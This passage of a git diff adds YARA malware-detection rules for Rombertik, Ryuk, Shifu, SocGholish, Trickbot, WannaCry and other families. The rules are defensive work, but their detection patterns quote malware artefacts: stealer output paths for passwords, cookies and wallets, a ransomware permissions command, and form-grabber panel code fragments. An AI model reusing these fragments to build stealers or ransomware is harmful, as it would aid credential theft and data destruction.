+		id = "b3aee336-9f3b-5fae-928d-8357408a7b69"
+	strings:
+		$x1 = "ZwGetWriteWatch" fullword ascii
+		$x2 = "OutputDebugStringA" fullword ascii
+		$x3 = "malwar" fullword ascii
+		$x4 = "sampl" fullword ascii
+		$x5 = "viru" fullword ascii
+		$x6 = "sandb" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5MB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel_InstallScript {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik panel install script - file install.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "cd6c152dd1e0689e0bede30a8bd07fef465fbcfa"
+		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
+	strings:
+		$s0 = "$insert = \"INSERT INTO `logs` (`id`, `ip`, `name`, `host`, `post`, `time`, `bro" ascii
+		$s3 = "`post` text NOT NULL," fullword ascii
+		$s4 = "`host` text NOT NULL," fullword ascii
+		$s5 = ") ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=5 ;\" ;" fullword ascii
+		$s6 = "$db->exec($columns); //or die(print_r($db->errorInfo(), true));;" fullword ascii
+		$s9 = "$db->exec($insert);" fullword ascii
+		$s10 = "`browser` text NOT NULL," fullword ascii
+		$s13 = "`ip` text NOT NULL," fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Panel {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Panel - file index.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "e6e9e4fc3772ff33bbeeda51f217e9149db60082"
+		id = "f6c04e27-bbab-5012-a4f9-71d49d252b83"
+	strings:
+		$s0 = "echo '<meta http-equiv=\"refresh\" content=\"0;url=index.php?a=login\">';" fullword ascii
+		$s1 = "echo '<meta http-equiv=\"refresh\" content=\"2;url='.$website.'/index.php?a=login" ascii
+		$s2 = "header(\"location: $website/index.php?a=login\");" fullword ascii
+		$s3 = "$insertLogSQL -> execute(array(':id' => NULL, ':ip' => $ip, ':name' => $name, ':" ascii
+		$s16 = "if($_POST['username'] == $username && $_POST['password'] == $password){" fullword ascii
+		$s17 = "$SQL = $db -> prepare(\"TRUNCATE TABLE `logs`\");" fullword ascii
+	condition:
+		filesize < 46KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder - file Builder.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "b50ecc0ba3d6ec19b53efe505d14276e9e71285f"
+		id = "3233c139-ac06-576c-9870-51306d5aa385"
+	strings:
+		$s0 = "c:\\users\\iden\\documents\\visual studio 2010\\Projects\\FormGrabberBuilderC++" ascii
+		$s1 = "Host(www.panel.com): " fullword ascii
+		$s2 = "Path(/form/index.php?a=insert): " fullword ascii
+		$s3 = "FileName: " fullword ascii
+		$s4 = "~Rich8" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 35KB and all of them
+}
+
+rule Rombertik_CarbonGrabber_Builder_Server {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik Builder Server - file Server.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash = "895fab8d55882eac51d4b27a188aa67205ff0ae5"
+		id = "742003a2-3716-5ad9-a720-b9e2be71554a"
+	strings:
+		$s0 = "C:\\WINDOWS\\system32\\svchost.exe" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\Currentversion\\RunOnce" fullword ascii
+		$s4 = "chrome.exe" fullword ascii
+		$s5 = "firefox.exe" fullword ascii
+		$s6 = "chrome.dll" fullword ascii
+		$s7 = "@KERNEL32.DLL" fullword wide
+		$s8 = "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome" ascii
+		$s10 = "&post=" fullword ascii
+		$s11 = "&host=" fullword ascii
+		$s12 = "Ws2_32.dll" fullword ascii
+		$s16 = "&browser=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 8 of them
+}
diff --git a/yara-Neo23x0/crime_ryuk_ransomware.yar b/yara-Neo23x0/crime_ryuk_ransomware.yar
new file mode 100644
index 0000000..eadf175
--- /dev/null
+++ b/yara-Neo23x0/crime_ryuk_ransomware.yar
@@ -0,0 +1,24 @@
+import "pe"
+
+rule MAL_Ryuk_Ransomware {
+   meta:
+      description = "Detects strings known from Ryuk Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/"
+      date = "2018-12-31"
+      hash1 = "965884f19026913b2c57b8cd4a86455a61383de01dabb69c557f45bb848f6c26"
+      hash2 = "b8fcd4a3902064907fb19e0da3ca7aed72a7e6d1f94d971d1ee7a4d3af6a800d"
+      id = "25d40631-4158-5d3d-913e-a2f1233489e0"
+   strings:
+      $x1 = "/v \"svchos\" /f" fullword wide
+      $x2 = "\\Documents and Settings\\Default User\\finish" wide
+      $x3 = "\\users\\Public\\finish" wide
+      $x4 = "lsaas.exe" fullword wide
+      $x5 = "RyukReadMe.txt" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+         pe.imphash() == "4a069c1abe5aca148d5a8fdabc26751e" or
+         pe.imphash() == "dc5733c013378fa418d13773f5bfe6f1" or
+         1 of them
+      )
+}
diff --git a/yara-Neo23x0/crime_shifu_trojan.yar b/yara-Neo23x0/crime_shifu_trojan.yar
new file mode 100644
index 0000000..6e68f0b
--- /dev/null
+++ b/yara-Neo23x0/crime_shifu_trojan.yar
@@ -0,0 +1,63 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-09-01
+	Identifier: Shifu
+*/
+
+rule Shifu_Banking_Trojan {
+	meta:
+		description = "Detects Shifu Banking Trojan"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
+		date = "2015-09-01"
+		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
+		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
+		id = "e86a98b1-a5c3-57b6-9449-dc36c04cebf3"
+	strings:
+		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
+
+		$s1 = "listen above" fullword wide
+		$s2 = "familycould cost" fullword wide
+		$s3 = "SetSystemTimeAdjustment" fullword ascii /* Goodware String - occured 33 times */
+		$s4 = "PeekNamedPipe" fullword ascii /* Goodware String - occured 347 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and ($x1 or all of ($s*))
+}
+
+rule SHIFU_Banking_Trojan {
+	meta:
+		description = "Detects SHIFU Banking Trojan"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/52n8WE"
+		date = "2015-10-31"
+		score = 70
+		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
+		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
+		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
+		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
+		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
+		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
+		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
+		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
+		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
+		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
+		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
+		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
+		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
+		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
+		id = "b0d57a2b-31cc-5af0-84c3-5d178e2d244d"
+	strings:
+		$x1 = "\\Gather\\Dividerail.pdb" ascii
+
+		$s0 = "\\payload\\payload.x86.pdb" ascii
+		$s1 = "USER_PRIV_GUEST" fullword wide
+		$s2 = "USER_PRIV_ADMIN" fullword wide
+		$s3 = "USER_PRIV_USER" fullword wide
+		$s4 = "PPSWVPP" fullword ascii
+		$s5 = "WinSCard.dll" fullword ascii /* Goodware String - occured 83 times */
+	condition:
+		uint16(0) == 0x5a4d and ($x1 or 5 of ($s*))
+}
diff --git a/yara-Neo23x0/crime_snarasite.yar b/yara-Neo23x0/crime_snarasite.yar
new file mode 100644
index 0000000..d60c31b
--- /dev/null
+++ b/yara-Neo23x0/crime_snarasite.yar
@@ -0,0 +1,17 @@
+import "pe"
+
+rule BKDR_Snarasite_Oct17 {
+   meta:
+      description = "Auto-generated rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-10-07"
+      hash1 = "36ba92cba23971ca9d16a0b4f45c853fd5b3108076464d5f2027b0f56054fd62"
+      id = "3a5d156a-529b-52ae-9b6a-d454895eb1fb"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         pe.imphash() == "322bef04e1e1ac48875036e38fb5c23c" or
+         pe.imphash() == "15088754757513c92fa36ba5590e907b"
+      )
+}
diff --git a/yara-Neo23x0/crime_socgholish.yar b/yara-Neo23x0/crime_socgholish.yar
new file mode 100644
index 0000000..386cd8b
--- /dev/null
+++ b/yara-Neo23x0/crime_socgholish.yar
@@ -0,0 +1,73 @@
+rule MAL_ZIP_SocGholish_Mar21_1 : zip js socgholish {
+    meta:
+        description = "Triggers on small zip files with typical SocGholish JS files in it"
+        author = "Nils Kuhnert"
+        date = "2021-03-29"
+        hash = "4f6566c145be5046b6be6a43c64d0acae38cada5eb49b2f73135b3ac3d6ba770"
+        hash = "54f756fbf8c20c76af7c9f538ff861690800c622d1c9db26eb3afedc50835b09"
+        hash = "dfdbec1846b74238ba3cfb8c7580c64a0fa8b14b6ed2b0e0e951cc6a9202dd8d"
+        id = "da35eefd-b34d-59cd-8afc-da9c78ace96e"
+    strings:
+        $a1 = /\.[a-z0-9]{6}\.js/ ascii
+        $a2 = "Chrome" ascii
+        $a3 = "Opera" ascii
+
+        $b1 = "Firefox.js" ascii
+        $b2 = "Edge.js" ascii
+    condition:
+        uint16(0) == 0x4b50 and filesize < 1600 and (
+            2 of ($a*) or
+            any of ($b*)
+        )
+}
+
+/* modified rule: too many matches with 'try' */
+rule EXT_MAL_JS_SocGholish_Mar21_1 : js socgholish {
+    meta:
+        description = "Triggers on SocGholish JS files"
+        author = "Nils Kuhnert"
+        date = "2021-03-29"
+        modified = "2023-01-02"
+        hash = "7ccbdcde5a9b30f8b2b866a5ca173063dec7bc92034e7cf10e3eebff017f3c23"
+        hash = "f6d738baea6802cbbb3ae63b39bf65fbd641a1f0d2f0c819a8c56f677b97bed1"
+        hash = "c7372ffaf831ad963c0a9348beeaadb5e814ceeb878a0cc7709473343d63a51c"
+        id = "3ed7d2da-569b-5851-a821-4a3cda3e13ce"
+    strings:
+        /* $try = "try" ascii */
+
+        $s1 = "new ActiveXObject('Scripting.FileSystemObject');" ascii
+        $s2 = "['DeleteFile']" ascii
+        $s3 = "['WScript']['ScriptFullName']" ascii
+        $s4 = "['WScript']['Sleep'](1000)" ascii
+        $s5 = "new ActiveXObject('MSXML2.XMLHTTP')" ascii
+        $s6 = "this['eval']" ascii
+        $s7 = "String['fromCharCode']"
+        $s8 = "2), 16)," ascii
+        $s9 = "= 103," ascii
+        $s10 = "'00000000'" ascii
+    condition:
+        //$try in (0 .. 10) and 
+        filesize > 3KB and filesize < 5KB and 8 of ($s*)
+}
+
+rule SocGholish_JS_22_02_2022 {
+    meta:
+        description = "Detects SocGholish fake update Javascript files 22.02.2022"
+        author = "Wojciech Cieślak"
+        date = "2022-02-22"
+        hash = "3e14d04da9cc38f371961f6115f37c30"
+        hash = "dffa20158dcc110366f939bd137515c3"
+        hash = "afee3af324951b1840c789540d5c8bff"
+        hash = "c04a1625efec27fb6bbef9c66ca8372b"
+        hash = "d08a2350df5abbd8fd530cff8339373e"
+    
+        id = "68d2dbb7-0079-527a-92c7-450c3dd953b3"
+    strings:
+        $s1 = "encodeURIComponent(''+" ascii
+        $s2 = "['open']('POST'," ascii 
+        $s3 = "new ActiveXObject('MSXML2.XMLHTTP');" ascii
+    
+    condition:
+        filesize < 5KB and all of them
+}
+
diff --git a/yara-Neo23x0/crime_stealer_exfil_zip.yar b/yara-Neo23x0/crime_stealer_exfil_zip.yar
new file mode 100644
index 0000000..3ed7e88
--- /dev/null
+++ b/yara-Neo23x0/crime_stealer_exfil_zip.yar
@@ -0,0 +1,30 @@
+
+rule SUSP_MAL_EXFIL_Stealer_Output_Characteristics_Sep22_1 {
+   meta:
+      description = "Detects typical stealer output files as created by RedLine or Racoon stealer"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/cglyer/status/1570965878480719873"
+      date = "2022-09-17"
+      score = 70
+      hash1 = "8ce14c6b720281f43c75ce52e23ec13d08e7b2be1c5fbc2d704238f1fdd1a07f"
+      hash2 = "011c19d18fa446a2619b3a2512dacb2694e1da99a2c2ea7828769f1373ecd8fe"
+      hash3 = "418530bc7210f74ada8e7f16b41ea2033054e99f0c4423ce1d3ebf973c89e3a3"
+      hash4 = "aa6e2c8447f66527f9b6f4d54f57edc6cabe56095df94dc0656dca02e11356ab"
+      hash5 = "bbfb608061931565debac405ffebe3c4bb5dac8042443fe4e80aa03395955bd2"
+      hash6 = "c15107beecf3301fb12d140690034717e16bd5312a746e7ff43a7925e5533260"
+      id = "c1cab3c3-c4f3-5a19-9ea3-9e4242238359"
+   strings:
+      $sa1 = "passwords.txt" ascii
+      $sa2 = "autofills/" ascii
+      $sa3 = "browsers/cookies/" ascii
+      $sa4 = "wallets/" ascii
+      
+      $sb1 = "Passwords.txt" ascii
+      $sb2 = "Autofills/" ascii
+      $sb3 = "Browsers/Cookies/" ascii
+      $sb4 = "Wallets/" ascii
+   condition:
+      uint16(0) == 0x4b50 and
+      filesize < 5000KB and
+      ( 2 of ($sa*) or 2 of ($sb*) )
+}
diff --git a/yara-Neo23x0/crime_teledoor.yar b/yara-Neo23x0/crime_teledoor.yar
new file mode 100644
index 0000000..de5f387
--- /dev/null
+++ b/yara-Neo23x0/crime_teledoor.yar
@@ -0,0 +1,31 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-05
+   Identifier: Telebots Backdoor MEDocs
+   Reference: https://goo.gl/CpfJQQ
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TeleDoor_Backdoor {
+   meta:
+      description = "Detects the TeleDoor Backdoor as used in Petya Attack in June 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/CpfJQQ"
+      date = "2017-07-05"
+      hash1 = "d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac"
+      hash2 = "f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740"
+      hash3 = "2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277"
+      id = "ba9b4415-427e-5a13-b743-bed225d86db8"
+   strings:
+      /* Payload\x00AutoPayload */
+      $c1 = { 50 61 79 6C 6F 61 64 00 41 75 74 6F 50 61 79 6C 6F 61 64 }
+      /* RunCmd\x00DumpData */
+      $c2 = { 52 75 6E 43 6D 64 00 44 75 6D 70 44 61 74 61 }
+      /* ZvitWebClientExt\x00MinInfo */
+      $c3 = { 00 5A 76 69 74 57 65 62 43 6C 69 65 6E 74 45 78 74 00 4D 69 6E 49 6E 66 6F }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 15000KB and 2 of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_trickbot.yar b/yara-Neo23x0/crime_trickbot.yar
new file mode 100644
index 0000000..595cff2
--- /dev/null
+++ b/yara-Neo23x0/crime_trickbot.yar
@@ -0,0 +1,115 @@
+import "pe"
+
+rule MAL_Trickbot_Oct19_1 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
+      hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+      hash3 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
+      id = "b428cbf9-0796-5a01-9b98-28e1bc6827cc"
+   strings:
+      $s1 = "Celestor@hotmail.com" fullword ascii
+      $s2 = "\\txtPassword" ascii
+      $s14 = "Invalid Password, try again!" fullword wide
+
+      $op1 = { 78 c4 40 00 ff ff ff ff b4 47 41 }
+      $op2 = { 9b 68 b2 34 46 00 eb 14 8d 55 e4 8d 45 e8 52 50 }
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and 3 of them
+}
+
+rule MAL_Trickbot_Oct19_2 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+      hash2 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
+      id = "2ff69a51-d089-53e5-ab19-4fbdf20f90f8"
+   strings:
+      $x1 = "C:\\Users\\User\\Desktop\\Encrypt\\Math_Cad\\Release\\Math_Cad.pdb" fullword ascii
+      $x2 = "AxedWV3OVTFfnGb" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and 1 of them
+}
+
+rule MAL_Trickbot_Oct19_3 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
+      hash2 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+      hash3 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
+      hash4 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
+      hash5 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
+      id = "3428b7e3-def9-5574-bbbb-6ba98c134dec"
+   strings:
+      $s1 = "Decrypt Shell Fail" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and ( 1 of them or pe.imphash() == "4e3fbfbf1fc23f646cd40a6fe09385a7" )
+}
+
+rule MAL_Trickbot_Oct19_4 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
+      hash2 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
+      hash3 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+      hash4 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
+      id = "dcadaa50-52ae-5ded-b40e-149f28092093"
+   strings:
+      $x1 = "c:\\users\\user\\documents\\visual studio 2005\\projects\\adzxser\\release\\ADZXSER.pdb" fullword ascii
+      $x2 = "http://root-hack.org" fullword ascii
+      $x3 = "http://hax-studios.net" fullword ascii
+      $x4 = "5OCFBBKCAZxWUE#$_SVRR[SQJ" fullword ascii
+      $x5 = "G*\\AC:\\Users\\911\\Desktop\\cButtonBar\\cButtonBar\\ButtonBar.vbp" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and 1 of them
+}
+
+rule MAL_Trickbot_Oct19_5 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
+      hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
+      hash3 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
+      hash4 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
+      id = "b3034f0c-5fd9-58a2-866f-9100e3a56f39"
+   strings:
+      $s1 = "LoadShellCode" fullword ascii
+      $s2 = "pShellCode" fullword ascii
+      $s3 = "InitShellCode" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and 2 of them
+}
+
+rule MAL_Trickbot_Oct19_6 {
+   meta:
+      description = "Detects Trickbot malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-10-02"
+      hash1 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
+      hash2 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
+      id = "5feb8d34-4974-5315-a5f9-79a3fac83d1d"
+   strings:
+      $x1 = "D:\\MyProjects\\spreader\\Release\\ssExecutor_x86.pdb" fullword ascii
+
+      $s1 = "%s\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s" fullword ascii
+      $s2 = "%s\\appdata\\roaming\\%s" fullword ascii
+      $s3 = "WINDOWS\\SYSTEM32\\TASKS" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 400KB and ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/crime_upatre_oct15.yar b/yara-Neo23x0/crime_upatre_oct15.yar
new file mode 100644
index 0000000..da0725d
--- /dev/null
+++ b/yara-Neo23x0/crime_upatre_oct15.yar
@@ -0,0 +1,45 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-13
+	Identifier: Upatre Campaign October 2015
+*/
+
+rule Upatre_Hazgurut {
+	meta:
+		description = "Detects Upatre malware - file hazgurut.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://weankor.vxstream-sandbox.com/sample/6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3?environmentId=7"
+		date = "2015-10-13"
+		score = 70
+		hash1 = "7ee0d20b15e24b7fe72154d9521e1959752b4e9c20d2992500df9ac096450a50"
+		hash2 = "79ffc620ddb143525fa32bc6a83c636168501a4a589a38cdb0a74afac1ee8b92"
+		hash3 = "62d8a6880c594fe9529158b94a9336179fa7a3d3bf1aa9d0baaf07d03b281bd3"
+		hash4 = "c64282aca980d558821bec8b3dfeae562d9620139dc43d02ee4d1745cd989f2a"
+		hash5 = "a35f9870f9d4b993eb094460b05ee1f657199412807abe6264121dd7cc12aa70"
+		hash6 = "f8cb2730ebc8fac1c58da1346ad1208585fe730c4f03d976eb1e13a1f5d81ef9"
+		hash7 = "b65ad7e2d299d6955d95b7ae9b62233c34bc5f6aa9f87dc482914f8ad2cba5d2"
+		hash8 = "6b857ef314938d37997c178ea50687a281d8ff9925f0c4e70940754643e2c0e3"
+		hash9 = "33a288cef0ae7192b34bd2ef3f523dfb7c6cbc2735ba07edf988400df1713041"
+		hash10 = "2a8e50afbc376cb2a9700d2d83c1be0c21ef942309676ecac897ba4646aba273"
+		hash11 = "3d0f2c7e07b7d64b1bad049b804ff1aae8c1fc945a42ad555eca3e1698c7f7d3"
+		hash12 = "951360b32a78173a1f81da0ded8b4400e230125d05970d41621830efc5337274"
+		hash13 = "bd90faebfd7663ef89b120fe69809532cada3eb94bb94094e8bc615f70670295"
+		hash14 = "8c5823f67f9625e4be39a67958f0f614ece49c18596eacc5620524bc9b6bad3d"
+		id = "b0040452-ed63-5e90-9ed6-4f05e7b4eadc"
+	strings:
+		$a1 = "barcod" fullword ascii
+
+		$s0 = "msports.dll" fullword ascii
+		$s1 = "nddeapi.dll" fullword ascii
+		$s2 = "glmf32.dll" fullword ascii
+		$s3 = "<requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\">" fullword ascii
+		$s4 = "cmutil.dll" fullword ascii
+		$s5 = "mprapi.dll" fullword ascii
+		$s6 = "glmf32.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1500KB
+		and $a1 in (0..4000)
+		and all of ($s*)
+}
diff --git a/yara-Neo23x0/crime_wannacry.yar b/yara-Neo23x0/crime_wannacry.yar
new file mode 100644
index 0000000..2adf4dc
--- /dev/null
+++ b/yara-Neo23x0/crime_wannacry.yar
@@ -0,0 +1,147 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-05-12
+   Identifier: WannaCry
+   Reference: https://goo.gl/HG2j5T
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule WannaCry_Ransomware {
+   meta:
+      description = "Detects WannaCry Ransomware"
+      author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
+      reference = "https://goo.gl/HG2j5T"
+      date = "2017-05-12"
+      hash1 = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"
+      id = "2e46b4db-8c94-53ed-ae27-31dd37b04940"
+   strings:
+      $x1 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
+      $x2 = "taskdl.exe" fullword ascii
+      $x3 = "tasksche.exe" fullword ascii
+      $x4 = "Global\\MsWinZonesCacheCounterMutexA" fullword ascii
+      $x5 = "WNcry@2ol7" fullword ascii
+      $x6 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii
+      $x7 = "mssecsvc.exe" fullword ascii
+      $x8 = "C:\\%s\\qeriuwjhrf" fullword ascii
+      $x9 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
+
+      $s1 = "C:\\%s\\%s" fullword ascii
+      $s2 = "<!-- Windows 10 --> " fullword ascii
+      $s3 = "cmd.exe /c \"%s\"" fullword ascii
+      $s4 = "msg/m_portuguese.wnry" fullword ascii
+      $s5 = "\\\\192.168.56.20\\IPC$" fullword wide
+      $s6 = "\\\\172.16.99.5\\IPC$" fullword wide
+
+      $op1 = { 10 ac 72 0d 3d ff ff 1f ac 77 06 b8 01 00 00 00 }
+      $op2 = { 44 24 64 8a c6 44 24 65 0e c6 44 24 66 80 c6 44 }
+      $op3 = { 18 df 6c 24 14 dc 64 24 2c dc 6c 24 5c dc 15 88 }
+      $op4 = { 09 ff 76 30 50 ff 56 2c 59 59 47 3b 7e 0c 7c }
+      $op5 = { c1 ea 1d c1 ee 1e 83 e2 01 83 e6 01 8d 14 56 }
+      $op6 = { 8d 48 ff f7 d1 8d 44 10 ff 23 f1 23 c1 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and ( 1 of ($x*) and 1 of ($s*) or 3 of ($op*) )
+}
+
+rule WannaCry_Ransomware_Gen {
+   meta:
+      description = "Detects WannaCry Ransomware"
+      author = "Florian Roth (Nextron Systems) (based on rule by US CERT)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-132A"
+      date = "2017-05-12"
+      hash1 = "9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05"
+      hash2 = "8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df"
+      hash3 = "4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359"
+      id = "d28d3d76-9c24-5476-9a0c-936c17477d6a"
+   strings:
+      $s1 = "__TREEID__PLACEHOLDER__" ascii
+      $s2 = "__USERID__PLACEHOLDER__" ascii
+      $s3 = "Windows for Workgroups 3.1a" fullword ascii
+      $s4 = "PC NETWORK PROGRAM 1.0" fullword ascii
+      $s5 = "LANMAN1.0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 5000KB and all of them
+}
+
+rule WannCry_m_vbs {
+   meta:
